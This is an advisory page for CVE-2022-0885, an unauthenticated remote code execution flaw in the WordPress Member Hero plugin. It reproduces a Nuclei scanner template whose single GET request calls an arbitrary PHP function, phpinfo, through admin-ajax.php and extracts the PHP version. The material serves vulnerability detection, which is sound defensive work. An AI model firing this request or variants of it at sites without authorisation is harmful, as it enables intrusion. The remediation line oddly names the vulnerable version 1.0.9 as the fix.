CVE-2022-0885: Member Hero <=1.0.9 - Remote Code Execution

2025-08-01 Member Hero PoC Public

Description

WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

PoC

id: CVE-2022-0885

info:
  name: Member Hero <=1.0.9 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    An attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the WordPress site.
  remediation: |
    Update to the latest version of the Member Hero plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8b08b72e-5584-4f25-ab73-5ab0f47412df
    - https://wordpress.org/plugins/member-hero/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0885
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0885
    cwe-id: CWE-862
    epss-score: 0.09436
    epss-percentile: 0.95156
    cpe: cpe:2.3:a:memberhero:member_hero:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: memberhero
    product: member_hero
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,wp-plugin,rce,wp,wordpress,member-hero,memberhero,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body
# digest: 4a0a00473045022100a379e5c98f52a533410ff935ba1a6b0c7f97d2ca040bb11d3ae0e20bb93835cf02205c9b2518a6d63f727331d5b2ae31693730ac0aa06cffbbc443a1161df15448c8:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0885.yaml

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